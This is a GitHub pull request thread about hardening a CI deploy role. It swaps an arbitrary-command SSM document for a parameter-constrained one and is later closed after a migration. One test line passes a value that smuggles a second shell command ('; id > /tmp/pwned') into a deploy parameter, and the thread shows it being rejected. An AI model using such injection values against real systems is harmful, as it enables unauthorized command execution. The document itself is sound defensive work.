fix(security): deploy workshop via constrained SSM document

[maruthiprithivi]

The problem

This repository is public, and the workshop deploy role could send ssm:SendCommand with AWS-RunShellScript to both DemoHouse demo instances:

{
  "Sid": "DeployWorkshop",
  "Action": "ssm:SendCommand",
  "Resource": [
    "arn:aws:ssm:ap-southeast-1::document/AWS-RunShellScript",
    "arn:aws:ec2:...:instance/i-0070f36085c0add58",
    "arn:aws:ec2:...:instance/i-07305a6793f775a8a"
  ]
}

AWS-RunShellScript takes an arbitrary command list and runs it as root. So anyone able to push to build-workshop-v1 or dev-build-workshop-v1 had root on the live prod demo host.

The per-branch instance selection in this workflow is not a security control -- it is code in the same public repo an attacker would already be modifying. The trust policy is correctly scoped to two exact refs, so this is not open to the internet, but the blast radius of repo write access should not be root on prod.

The fix

Send the purpose-built demohouse-workshop-deploy document instead. It hardcodes the deploy steps and constrains every parameter with an allowedPattern that SSM validates server-side, before dispatch.

Tested both directions:

Tag="<sha>; id > /tmp/pwned"  ->  InvalidParameters (rejected by the SendCommand API)
Tag="<valid 40-hex sha>"      ->  "Workshop is healthy at e44486f4... (sha256:0cb99fa2...)"

The role's IAM policy no longer permits AWS-RunShellScript. Document and role are defined in infra/terraform/workshop-ci.tf in the DemoHouse repo, alongside the rationale.

Merge ordering

The IAM change is already applied. This workflow change must land on both build-workshop-v1 and dev-build-workshop-v1 before the next workshop deploy, or CI fails with AccessDenied. That is fail-safe -- a blocked deploy, not a security regression -- but it will block.

Companion PR: https://github.com/ClickHouse/DemoHouse/pull/19

Residual, accepted

The role can still target either instance, so the dev workshop branch could deploy a dev-aliased image onto the prod host. That is an integrity concern, not remote code execution. Splitting it properly needs two roles and a per-branch WORKSHOP_AWS_ROLE_ARN.

🤖 Generated with Claude Code

[CLAassistant]

Thank you for your submission! We really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.

---

Maruthi Prithivi seems not to be a GitHub user. You need a GitHub account to be able to sign the CLA. If you have already a GitHub account, please add the email address used for this commit to your account.
_{You have signed the CLA already but the status is still pending? Let us recheck it.}

[maruthiprithivi]

Closing: superseded by the workshop migration. The workshop web app has moved to the private ClickHouse/WorkshopHouse repo and is being served from labs.demohouse.cloud, so this pipeline is disabled and the AWS-side plumbing it hardened (the demohouse-workshop-deploy SSM document and the demohouse-workshop-github-actions role) is being torn down rather than maintained.

The underlying finding still stands and is worth carrying into WorkshopHouse's deploy path: never grant a CI role ssm:SendCommand on AWS-RunShellScript. Use a purpose-built SSM document with allowedPattern-constrained parameters, which SSM validates server-side. Rationale is recorded in ClickHouse/DemoHouse#19.